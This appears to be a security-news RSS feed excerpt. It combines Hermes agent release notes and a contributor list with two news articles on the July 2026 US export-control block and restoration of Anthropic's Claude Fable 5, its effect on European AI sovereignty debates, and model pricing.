    • /goal wait <pid> — park the standing-goal loop on a background process instead of re-poking the agent (#50503 — @teknium1)
    • Coding verification evidence ledger — profile-scoped record of canonical project checks detected by agent.coding_context; gateway exposes verification status (#52285, #52286 — @OutThisLife)
    • pre_verify hook + coding guidance config; verification stop loop + ad-hoc verification scripts (#55413, #52296, #52297 — @OutThisLife)
    • verify-on-stop defaults OFF with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (#53552, #54740, #55449, #52412 — @teknium1, @OutThisLife, @GodsBoy)

    🎓 Self-Improvement (Learn / Journey)

    • /learn <anything> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (#51506, #52372, #55956 — @teknium1)
    • /journey — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (#55555, #55859 — @OutThisLife)
    • Cheaper background review — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (#49252 — @teknium1)
    • memory graph in the desktop — playable radial timeline of memories + skills over time (#55226 — @OutThisLife)

    🖥️ Hermes Desktop App

    Coding cockpit

    • First-class Projects — per-profile sidebar, coding rail, review pane, agent project tools (project → repo → lane); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (#49037, #54385 — @OutThisLife)
    • Multi-terminal panel with read-only agent terminals; persist & restore terminal tabs + scrollback across relaunch (#54517, #54585 — @OutThisLife)
    • PR-style file diffs in chat; in-app spot editor for the file preview pane; inline rich embeds, diagrams & alerts in assistant markdown (#50731, #52772, #52935 — @OutThisLife)

    UX & surfaces

    • Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (#51094, #54907, #55033, #49488 — @OutThisLife, @austinpickett)
    • Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (#55154, #52086, #52993, #54558 — @OutThisLife)
    • Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (#54611, #55410, #53991 — @teknium1, @OutThisLife)
    • Pets — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (#55114, #55400, #52877, #47959, #52303 — @OutThisLife)

    Refactor wave (composer / god-file de-entangle)

    • Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split thread.tsx, sidebar/index.tsx, onboarding overlay, and use-prompt-actions god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (hermes serve) (#55500, #55842, #55451, #55453, #55807, #55504, #54568 — @OutThisLife)
    • perf: bound tool-result rendering so big /learn runs don't freeze; fast session switching under load (#52273, #52620 — @OutThisLife)

    📊 Web Dashboard

    • Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (client_secret) support in self-hosted OIDC (#54846, #50551, #55344 — @teknium1, @benbarclay)
    • Catalogue all memory-provider API keys in OPTIONAL_ENV_VARS; list & add arbitrary custom .env keys on the Keys page; expose cron job execution fields; backup import/create/download (#54546, #54552, #53551, #54611 — @benbarclay, @teknium1)
    • Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (#53227, #53239 — @IAvecilla)

    🏗️ Core Agent & Architecture

    Delegation & subagents

    • Background fan-out — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background delegate_task (#49734, #52756 — @teknium1, @OutThisLife)
    • Track background subagents in the CLI + TUI status bar (#51441, #51485 — @teknium1)

    Agent loop, tools & coding context

    • One-shot LLM helper + llm.oneshot gateway RPC; expose coding-context project facts (project.facts RPC) (#51261, #51259 — @OutThisLife)
    • web_extract truncate-and-store instead of LLM summarization; concurrent @-reference expansion (#54843, #55207 — @teknium1, @kshitijk4poor)
    • Friendly human-phrased tool labels for built-in tools; /reasoning full (uncapped thinking); /timestamps + timestamps in /history; /prompt composes in $EDITOR (#55166, #50499, #50506, #50509 — @teknium1)
    • Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (#52845, #50489 — @teknium1)
    • Multiple HERMES_WRITE_SAFE_ROOT dirs; opt-in HTTP/WS body capture to an isolated, share-excluded gui_bodies.log (#53292, #49044 — @kshitijk4poor)

    Compression & sessions

    • In-place compaction option (single session id); flip in_place default to True with a guard fix (#49739, #52658 — @teknium1)
    • Backup includes projects.db and kanban boards in the pre-update snapshot (#52990 — @kshitijk4poor)

    Providers & models

    • Google Vertex AI first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages & modernizes #8427 by @slawt (#56363 — @teknium1, @slawt)
    • Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (#52647, #52364, #51494, #50492 — @teknium1, @kshitijk4poor)
    • Honor NOUS_INFERENCE_BASE_URL env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (#52270, #50567 — @benbarclay, @teknium1)

    🌐 Gateway, Fleet & Relay

    Scale-to-zero & drain

    • Scale-to-zero idle detection + dormant-quiesce (Phase 0); hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (#52243, #52359, #52831 — @teknium1, @benbarclay)
    • External drain coordination (safe-shutdown Phase 2); suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (#52937, #54824, #50312, #50131 — @teknium1, @benbarclay, @kshitijk4poor)
    • Default restart_drain_timeout to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (#54066, #55397 — @teknium1)

    Relay (Phase 5 / 6)

    • Wake primitive (gateway side); going-idle / buffered-flip primitive; passthrough_forward over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (#51595, #51572, #50702, #52830, #50772, #51248 — @benbarclay)
    • Authorize relay-delivered events by delivery, not source.platform; adopt scope_id wire key; purge platform-specific scope terminology (#52306, #55289, #56016 — @benbarclay)

    Gateway core & rendering

    • Typed send-error classification (SendResult.error_kind); per-platform typing_indicator toggle; per-category context breakdown in /usage (#50342, #55394, #55204 — @teknium1)
    • API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (#50007, #56129 — @teknium1)

    📱 Messaging Platforms

    • Cron continuations — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (#52250, #56254, #51696 — @teknium1)
    • Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (#51716, #52088, #54121 — @teknium1, @helix4u)
    • Slack: opt-in Block Kit rendering for agent messages; --no-assistant flag for manifest generation (#56102, #51487 — @teknium1)
    • Discord: render reasoning as -# subtext via display.reasoning_style (#51168 — @teknium1)
    • Native WhatsApp media delivery via the Baileys bridge; Teams native send_video/send_voice/send_document; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (#53598, #49308, #53451, #56230 — @teknium1)
    • Signal: AAC voice-note remux + shared markdown formatting (#49530 — @kshitijk4poor)
    • Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (#49408 — @teknium1)

    🔧 Tool System, Skills & MCP

    • Blank Slate setup mode — minimal agent, opt in to everything (#36733 — @teknium1)
    • MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog & UX carried from v0.17.0
    • Skills: /learn distillation (see Self-Improvement); cloudflare-temporary-deploy optional skill; creative-ideation v2.1.0 method library (#50849, #42402 — @teknium1, @SHL0MS)
    • Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (#50349, #52848, #53973 — @teknium1)
    • Plugins: ctx.profile_name for session-agnostic profile access (#50346 — @teknium1)
    • LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (#55930, #15624 — @teknium1, @kartik-mem0)

    ⚡ Performance

    • Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml CSafeLoader (#54448, #54486 — @teknium1)
    • State: merge FTS5 segments + handoff_state index to curb write-lock contention; single-pass list_profiles alias map + skill-count cache + event-loop offload (#54752, #54770 — @kshitijk4poor, @teknium1)

    🔒 Security & Reliability

    • Harden MCP-config persistence attack surface; block cron base_url overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (#50476, #56196, #54166 — @teknium1, @kshitijk4poor)
    • Redact Slack App-Level (xapp-) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after browser_back navigation; scope /resume and /sessions to caller origin (IDOR); aiohttp 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (#56227, #52349, #56526, #56378, #56237 — @teknium1, @claudlos, @kshitijk4poor)
    • Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on BaseException + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (#51051, #50062, #50016, #50117, #56240 — @kshitijk4poor, @teknium1)
    • Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (#52340, #50398, #52239 — @helix4u, @teknium1)

    🔁 Reverts (in-window, for the record)

    • cron job storage returned to per-profile (reverts #32117 + #50993); don't clone auth.json (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; prompt_caching.enabled toggle backed out for re-evaluation (#51116, #51732, #53853, #56126 — @teknium1)

    👥 Contributors

    381 people contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.

    Core

    • @teknium1 — release lead; MoA first-class, verification/goals, /learn, background review, security round, providers, the P0/P1 clean-sweep
    • @OutThisLife — desktop app (projects, memory graph, /journey, multi-terminal, composer refactor wave, pets, verification UX)

    Top community contributors

    • @kshitijk4poor — the P0/P1 backlog burn: cron reliability wave, state perf, security (cron credential-exfil), gateway/signal, TUI config — a huge share of the priority closures
    • @benbarclay — relay Phase 5/6, scale-to-zero / drain coordination, dashboard auth/keys, gateway hardening
    • @ethernet8023 — CI/docker (unified jobs, faster builds, timings report)
    • @helix4u — Windows hardening (console flashes, npm shim, gateway restarts)

    All contributors

    @0xbyt4, @0xDevNinja, @0xsir0000, @1RB, @595650661, @aaronlab, @abchiaravalle, @adammatski1972, @AetherAgents,
    @Afnath-max, @agt-user, @ahmadashfq, @AhmetArif0, @AIalliAI, @aieng-abdullah, @ailang323, @ailthrim, @aj-nt,
    @alelpoan, @alloevil, @amathxbt, @ambition0802, @anderskev, @andressommerhoff, @angelos, @annguyenNous,
    @Antimatter543, @arminanton, @arthurzhang, @asimons81, @austinpickett, @baolingao, @Bartok9, @basilalshukaili,
    @BBCrypto-web, @bbopen, @Beandon13, @beardthelion, @benbarclay, @benbenlijie, @binhnt92, @bitcryptic-gw,
    @Blaryxoff, @bogerman1, @bradhallett, @brett539, @briandevans, @buihongduc132, @bykim0119, @catapreta,
    @chaithanyak42, @charleneleong-ai, @CharlieKerfoot, @chazmaniandinkle, @chrispersico, @Christopher-Schulze,
    @chriswesley4, @claudlos, @clovericbot, @cmcejas, @codexGW, @Cossackx, @counterposition, @coygeek, @CRWuTJ,
    @cyb0rgk1tty, @cyb3rwr3n, @cypctlinux, @cypres0099, @dalenguyen, @Danamove, @DanAsBjorn, @DataAdvisory,
    @davidgut1982, @DavidMetcalfe, @davidvv, @de1tydev, @denisqq, @devorun, @devsart95, @DhivinX, @DiamondEyesFox,
    @difujia, @Disaster-Terminator, @djimit, @djstunami, @dodo-reach, @donovan-yohan, @Dr1985, @DrZM007, @Dusk1e,
    @egilewski, @ehz0ah, @Eji4h, @EloquentBrush0x, @Elshayib, @emozilla, @entropy-0x, @erosika, @EtherAura,
    @etherman-os, @ethernet8023, @f-trycua, @fayenix, @fesalfayed, @firefly, @flamiinngo, @flobo3, @francescomucio,
    @franksong2702, @friendshipisover, @fsaad1984, @fyzanshaik, @GauravPatil2515, @gdeyoung, @georgex8001,
    @GodsBoy, @graphanov, @Gromykoss, @gustavosmendes, @Gutslabs, @H2KFORGIVEN, @haileymarshall, @hakanpak,
    @happy5318, @haran2001, @harjothkhara, @heathley, @hehehe0803, @helix4u, @herbalizer404, @HexLab98,
    @HiddenPuppy, @Hinotoi-agent, @HODLCLONE, @houko, @huangsen365, @huangxudong663-sys, @huangxun375-stack,
    @HwangJohn, @iaji, @iamlukethedev, @IamSanchoPanza, @IAvecilla, @Icather, @iizotov, @indigokarasu,
    @infinitycrew39, @ipriyaaanshu, @isair, @islam666, @itenev, @itsflownium, @izumi0uu, @Jaaneek, @JabberELF,
    @jackjin1997, @jackroofan, @janrenz, @jasnoorgill, @jasonQin6, @jcjc81, @jearnest11, @jeeves-assistant,
    @Jeffgithub0029, @jeffrobodie-glitch, @JezzaHehn, @jimmyjohansson84, @jmmaloney4, @jnibarger01, @JoaoMarcos44,
    @jplew, @Junass1, @justemu, @justin-cyhuang, @JustinOhms, @jvradahellys24-art, @Kailigithub, @kaishi00,
    @kangsoo-bit, @kartik-mem0, @keiravoss94, @kenyonxu, @kernel-t1, @Kewe63, @KeyArgo, @KiruyaMomochi, @kn8-codes,
    @Kolektori, @konsisumer, @kshitijk4poor, @kyssta-exe, @Kyzcreig, @Lazymonter, @LehaoLin, @LeonSGP43, @lEWFkRAD,
    @libre-7, @LIC99, @LifeJiggy, @linyubin, @liuhao1024, @lkevincc0, @lkz-de, @loes5050, @londo161, @lubosxyz,
    @m24927605, @MaheshtheDev, @manus-use, @marco0158, @MarioYounger, @martinramos002-bot, @MattKotsenas,
    @max-chen, @MaxFreedomPollard, @maxmilian, @maxpetrusenko, @memosr, @Mibayy, @Minksgo, @mintybasil, @mkslzk,
    @mohamedorigami-jpg, @MorAlekss, @mrparker0980, @ms-alan, @namredips, @nankingjing, @natehale, @necoweb3,
    @neo-2026, @Nickperillo, @nightq, @nikshepsvn, @nnnet, @nocturnum91, @nodejun, @NousResearch, @nycomar,
    @OmarB97, @orbisai0security, @oreoluwa, @outsourc-e, @OutThisLife, @p-andhika, @panghuer023, @Paperclip,
    @peetwan, @pefontana, @petrichor-op, @pinguarmy, @PINKIIILQWQ, @pmos69, @PolyphonyRequiem, @pprism13,
    @PRATHAMESH75, @professorpalmer, @pyxl-dev, @Que0x, @qWaitCrypto, @r266-tech, @RafaelMiMi, @Railway9784,
    @randomuser2026x, @rayjun, @rc-int, @rebel0789, @redactdeveloper, @riyas22, @rlaope, @rob-maron, @rodboev,
    @rodrigoeqnit, @rratmansky, @rrevenanttt, @ruangraung, @Ruzzgar, @ryo-solo, @s010mn, @Sahil-SS9,
    @SahilRakhaiya05, @SandroHub013, @Sanjays2402, @sasquatch9818, @ScotterMonk, @season179, @sgabel, @sgaofen,
    @sgtworkman, @shandian64, @shannonsands, @shashwatgokhe, @shawchanshek, @sherman-yang, @SHL0MS, @SidUParis,
    @SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, @slawt, @soynchux, @spiky02plateau, @spjoes,
    @sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,
    @syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,
    @theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,
    @tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,
    @uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,
    @w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,
    @x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,
    @YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,
    @zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ

    Also: Lucas Nicolas.

    Full Changelog: v2026.6.19...v2026.7.1

    ]]>         <![CDATA[Europe looks to fight any forced shutdown of AI]]> https://tsecurity.de/de/3639197/it-nachrichten/europe-looks-to-fight-any-forced-shutdown-of-ai/ https://tsecurity.de/de/3639197/it-nachrichten/europe-looks-to-fight-any-forced-shutdown-of-ai/ Wed, 01 Jul 2026 18:48:26 +0200 📰 IT Nachrichten tsecurity.de

    It was one of the biggest tech headlines in June: Amid the race leading up to the initial public offerings (IPOs) of artificial intelligence (AI) giants, the United States used its “blocking card” to disable Anthropic’s latest models. Citing national security concerns, the Trump Administration forced the company to prevent non-U.S. citizens (even in the US) from using its most advanced models — the very ones it had just unveiled. Speculation suggests the same thing could happen to OpenAI.

    The ban on Anthropic was not lifted until June 30. The US administration said that, in the intervening weeks, it had worked with the company to “review and approve Fable5 to ensure it aligns with the US government and strengthens US leadership in AI.” For its part, OpenAI confirmed that its next major launch would begin with a preview for “trusted partners ”—a list it has shared with the US government.

    Are these companies falling victim to their own marketing — having touted that their models are becoming increasingly intelligent and potentially more dangerous? Or are they collateral damage in an uncertain geopolitical world? Whatever the rationale, the recent moves raise questions in Europe, where digital sovereignty movements are on the rise.

    The sudden shutdown of Fable 5 and Mythos 5 for European companies had a limited direct impact, because the models were so new. As Fernando Maldonado, senior analyst at Foundry Spain, noted: “Hardly anyone here had even started using them yet.” The indirect impact is more far-reaching, because it shows that a forced technological blackout is possible and that Europe has a limited margin for response.

    The doomsday scenarios warn that Europe could be headed for a future tech disaster that will have a domino effect on the economy and society. That’s the conclusion of the “Europe 2031” report, prepared by a group of European AI researchers, analysts, and investors. “The current trajectory of AI calls for the most ambitious political agenda in the history of postwar Europe,” the report concludes. They argue that Europe has failed to grasp the scale of AI ‘s spread and warn that Europe couldl fall into irrelevance. (The group estimates that, in that scenario, the continent would control only 5% of AI computing by 2031, compared to 80% for the US). There is much talk of sovereignty, but little real-world action so far.

    That dystopian vision of the future coexists with other, more nuanced perspectives. But analysts and political scientists point out that AI could yet become an economic and political lever that will shape the future balance of power.

    The ‘kill switch’ scenario

    The total shutdown “kill switch” option, deemed impossible not so long ago, has established itself as one of the real potential fears in geopolitical risk: it was on the agenda at the recent G7 meeting. The Anthropic case was seen as a warning. “Technology is increasingly a strategic asset. Europe must be able to act on its own terms,” European Commission spokesperson Thomas Regnier told Euronews. Speaking to Reuters, he added, “This event is further proof that Europe must strengthen its technological sovereignty.”

    The Anthropic outage “has given ammunition to those who have been calling for investment in technological sovereignty and highlights this geopolitical situation,” said Beatriz Arias, director of digital transformation at DigitalES. Arias believes the incident shows that today’s reality requires work in more areas; it is no longer enough to manage telecommunications or standards. Other issues such as interoperability and intellectual property are on the table, as well as “the need to invest more in our own capabilities, without prejudice to our continued commitment to an open model of cooperation and alliances.”

    That said, Darío García de Viedma, a researcher in Technology and Digital Policy at the Elcano Royal Institute, does not believe the feared kill switch will be used, “because the US technology export model depends on companies. Companies are the strong arm of US diplomacy in the technological sphere.” For them to play that tole, they need a global presence. But he does agree that what happened with Anthropic helps “explain this risk to the public” — and incidentally showcase what technological sovereignty is.

    Even if a catastrophic blackout doesn’t occur, other problems could still hinder access. Political scientist Amélie Férey explained on France Culture how license prices could gradually rise and drive up costs. Or access to certain features could be gradually restricted. As García de Viedma put it, a moratorium on model access would create a “temporal asymmetry.” Disruptions can occur in “the complex supply chain behind all our technology,” through export controls (something now happening in the chip market) or through the degradation of essential services (such as what could happen with Starlink coverage).

    In recent years, the European Union has entered a race in that arena, one that involves symbolic measures well as practical legislative moves. The European Parliament has dropped Google as its default search engine and replaced it with the French Qwant. And in early June, the Commission presented its European Technology Sovereignty Package, which addresses, among other issues, AI. They aim to ensure that Europe becomes “a continent of AI, strengthen its digital autonomy, and help build a more sustainable digital future,” while also acknowledging Europe’s technological dependence.

    “We cannot afford to depend on others for the technologies that keep our hospitals running, our energy grids stable, and our services secure,” said Commission President Ursula von der Leyen. Specifically, Europe aims to triple the capacity of its data centers over the next five to seven years, boost the adoption of AI, enhance research and innovation, and work on its own development and deployment efforts. The package will now have to go through an approval process to become law and take effect.

    Henna Virkkunen y Dan Jørgensen, en la presentación del paquete de soberanía tecnológica de la UE el pasado 3 de junio

    Henna Virkkunen and Dan Jørgensen at the presentation of the EU’s technological sovereignty package on June 3.

    UE

    Has Europe done enough?

    The big question is whether what Europe has done — and what it plans to do — will be enough. Are the sovereignty packages sufficient, or are they vague and lacking in concrete details? The Europe 2031 group accuses Europe of making empty promises that don’t translate into tangible results.

    García de Viedma said the latest package represents “good progress, which is defining technological sovereignty as risk mitigation.” In this case, risk has three aspects: technological dependence could be used as a coercive measure; tech operations could be disrupted “if at any point our alliances deteriorate;” and IT could be used as a tool for surveillance.

    “Not to sound like conspiracy theorists, but the fact is that there is a possibility that whoever controls the communication nodes and software has the ability to see, if not everything, then at least some things,” he said. “That gives them an advantage.” Therefore, sovereignty is not so much “that identity-based vision” but rather one of “risk avoidance.” It’s not about using European technology simply because it’s European, but about understanding the risks of not using it.

    Viedma believes the Commission has accurately identified today’s problems (such as governance or the digitization of the power grid, “the main bottleneck for AI”) but wonders about the future. Added to this is the issue of money: investment is a key piece in this chess game.

    DigitalES views the efforts currently under way — such as those regarding European chips — favorably. “What’s needed is more determination and focus,” said Arias. Incidents like the Anthropic case can “help move in that direction.” While European investment plans in AI may seem less grandiose than those of the sector’s major companies, Arias warned against defeatist rhetoric.

    “The EU is doing what it needs to do,” he said, and is creating “a more geopolitically stable environment for investors. Ultimately, this is about the market and who creates the most value.” European regulations can eventually become global standards, with Europe positioning itself “as an attractive partner for investment” — one that is “reliable and more predictable.”

    Arias said the key lies not in complete autonomy, but in finding a balance. “We don’t have to produce 100% of what we use, and we shouldn’t depend 100% on a single supplier or jurisdiction.” What’s needed is technological diplomacy, being able to navigate complex waters and safeguard interests.

    Playing by different rules in the global AI market is not feasible. “You must be aware of your strengths and weaknesses.” And she insists: “Europe is by no means a long shot — quite the opposite, because it offers certain guarantees.”

    The next great revolution

    Europe is late to the AI race, but it can still “assume a certain leadership role,” depending on how the sector evolves, as García de Viedma notes. Europe can carve out its own niche and investments are being made and efforts are under way to do so. In AI, this involves identifying areas of European specialization.

    There remains a lot of work to be done and, possibly, lessons learned from past experiences to face what lies ahead. AI issues are part of a very complex reality. Arias warned of the need to prepare for “the convergence of artificial intelligence with the computing power that quantum computing will provide” featuring “dual-use technology that will be employed for both military and civilian purposes.” These will be more powerful tools that “require a more solid foundation.

    “Such technological diplomacy will be necessary to negotiate global quantum standards, protect intellectual property, and address the potential impact on national security.”

    The quantum revolution is imminent, but has yet to unfold, and Europe can capitalize on it. “Europe is jumping on this bandwagon,” argued Arias, highlighting the investments and work on quantum capabilities. “We’re in a very different situation than we were with the cloud and artificial intelligence.” The EU is “acting quickly” and opening the door to “positioning ourselves country by country.”

    ]]>         <![CDATA[Anthropic is bringing back Claude Fable 5 globally after US lifts export control order — where can enterprises access it?]]> https://tsecurity.de/de/3639021/it-nachrichten/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it/ https://tsecurity.de/de/3639021/it-nachrichten/anthropic-is-bringing-back-claude-fable-5-globally-after-us-lifts-export-control-order-where-can-enterprises-access-it/ Wed, 01 Jul 2026 18:03:33 +0200 📰 IT Nachrichten tsecurity.de Anthropic is restoring global access to its most powerful generally released AI model yet, Claude Fable 5, today, after the U.S. Department of Commerce withdrew emergency export controls that led the company to suspend all access to both Fable 5 and its less restricted cybersecurity counterpart model Claude Mythos 5 last month, just days after both models were initially introduced.

    Starting today, Fable 5 is available for users globally across the primary Anthropic ecosystem, including the Claude Platform, Claude.ai, Claude Code, and Claude Cowork. However, when VentureBeat tried to access it in Claude Code on Terminal, it still showed as disabled.

    For organizations leveraging cloud hyperscalers, Anthropic says it is moving to re-enable access on Amazon Web Services, Google Cloud, and Microsoft Foundry “as quickly as possible.” So far, VentureBeat's research has been unable to confirm if the models have been restored on these external cloud hyperscaler platforms yet.

    Mythos 5 remains a different case. A letter posted on the social network X allegedly from U.S. Commerce Secretary Howard Lutnick to Anthropic executive Tom Brown says a license is no longer required for the export, reexport, or in-country transfer of Fable and Mythos.

    But Anthropic’s own redeployment post on its website says only that Mythos 5 access has been restored for “a set of US organizations,” following government approval on June 26. The company says it is continuing to coordinate with the government to expand access to broader domestic and international partners in its opt-in cybersecurity testing program, Project Glasswing.

    That leaves Mythos 5 in a middle category: legally cleared from the emergency export-control order, but not generally available. The current limit appears to come from Anthropic’s decision to keep Mythos behind a vetted-access model, with the U.S. government still playing a role in approvals, standards and expansion.

    Posting on X, Commerce Secretary Howard Lutnick said Anthropic and the government had “worked closely” to “analyze and approve Fable 5,” while White House Chief of Staff Susie Wiles also posted on X, framing the decision around U.S. AI leadership and deployment speed.

    Wiles wrote that the United States is the “undisputed winner in the AI race,” adding that the shared priority is to “get the best tech deployed as quickly and safely as possible.”

    The reversal follows concerns from cybersecurity leaders and AI policy experts over the export control order, who argued that the U.S. risked hobbling its own industry while giving Chinese AI labs an opening. Former Facebook security chief Alex Stamos called the Fable restriction a “huge own goal for the US,” warning that security companies could be driven toward Chinese models, while other critics said the so-called "ad hoc" regulatory intervention made dependence on U.S. AI platforms look like a strategic liability.

    Reminder on Claude Fable 5 pricing

    For chief information and technology officers evaluating the return of the model, the deployment comes with distinct structural conditions and significant financial investments.

    Anthropic is pricing both Fable 5 and Mythos 5 at $10.00 per million input tokens and $50.00 per million output tokens, the most expensive of all frontier models globally.

    Model

    Input ($/1M)

    Output ($/1M)

    Total ($/1M)

    Source

    MiMo-V2.5 Flash

    $0.10

    $0.30

    $0.40

    Xiaomi

    deepseek-v4-flash

    $0.14

    $0.28

    $0.42

    DeepSeek

    deepseek-v4-pro

    $0.435

    $0.87

    $1.305

    DeepSeek

    MiniMax-M3

    $0.30

    $1.20

    $1.50

    MiniMax

    LongCat-2.0 — limited-time promo

    $0.30

    $1.20

    $1.50

    LongCat

    Gemini 3.1 Flash-Lite

    $0.25

    $1.50

    $1.75

    Google

    Qwen3.7-Plus

    $0.40

    $1.60

    $2.00

    Alibaba Cloud

    MiMo-V2.5

    $0.40

    $2.00

    $2.40

    Xiaomi

    LongCat-2.0 — standard

    $0.75

    $2.95

    $3.70

    LongCat

    Grok 4.3 (low context)

    $1.25

    $2.50

    $3.75

    xAI

    MiMo-V2.5 Pro (≤256K)

    $1.00

    $3.00

    $4.00

    Xiaomi

    Kimi-K2.6

    $0.95

    $4.00

    $4.95

    Moonshot AI

    GLM-5.2

    $1.40

    $4.40

    $5.80

    Z.ai

    GPT-5.6 Luna

    $1.00

    $6.00

    $7.00

    OpenAI

    Grok 4.3 (high context)

    $2.50

    $5.00

    $7.50

    xAI

    MiMo-V2.5 Pro (>256K)

    $2.00

    $6.00

    $8.00

    Xiaomi

    Qwen3.7-Max

    $2.50

    $7.50

    $10.00

    Alibaba Cloud

    Gemini 3.5 Flash

    $1.50

    $9.00

    $10.50

    Google

    Gemini 3.1 Pro Preview (≤200K)

    $2.00

    $12.00

    $14.00

    Google

    GPT-5.6 Terra

    $2.50

    $15.00

    $17.50

    OpenAI

    GPT-5.4

    $2.50

    $15.00

    $17.50

    OpenAI

    Gemini 3.1 Pro Preview (>200K)

    $4.00

    $18.00

    $22.00

    Google

    Claude Opus 4.8

    $5.00

    $25.00

    $30.00

    Anthropic

    GPT-5.5

    $5.00

    $30.00

    $35.00

    OpenAI

    GPT-5.5 Instant (chat-latest)

    $5.00

    $30.00

    $35.00

    OpenAI

    Sakana Fugu Ultra (≤272K)

    $5.00

    $30.00

    $35.00

    Sakana AI

    GPT-5.6 Sol

    $5.00

    $30.00

    $35.00

    OpenAI

    Claude Fable 5 / Claude Mythos 5

    $10.00

    $50.00

    $60.00

    Anthropic

    However, to incentivize immediate enterprise adoption following the export control order disruption saga, Anthropic is executing a temporary rollout plan through July 7.

    For Pro, Max, Team, and select Enterprise subscriptions, Fable 5 usage will be included at no added cost for up to 50% of a user’s weekly tier allowance.

    However, after July 7, Fable 5 will move to usage credits for those plans. For standard Enterprise seats, there is no included Fable 5 allowance; all usage is billed through credits, and the model will not work for those users unless credits are enabled.

    Already, some AI influencers are attempting to offer enterprises and developers guidance on how to maximize their usage of Fable 5 during its 7-day discounted price/subscription included promotion:

    Chronology of a Crisis: From Launch to Lockout

    The whiplash regulatory cycle surrounding the model underscores the volatility currently facing enterprise software supply chains. The crisis unfolded over a rapid, three-week timeline:

    • June 9, 2026: Anthropic launches Claude Fable 5 and Mythos 5. Early corporate case studies report major performance gains. For instance, Stripe reports that Fable 5 compressed a codebase-wide migration across a 50-million-line Ruby infrastructure into a single day — a project estimated to take a team more than two months by hand.

    • June 12, 2026: At 5:21 PM ET, the U.S. government issues an export-control directive citing national security authorities. The order bans access to the models by any foreign national, whether inside or outside the borders of the United States. Lacking real-time mechanisms to verify user nationality at the API layer, Anthropic is forced to pull the plug for all customers to ensure compliance. Anthropic says access to all other Anthropic models was not affected.

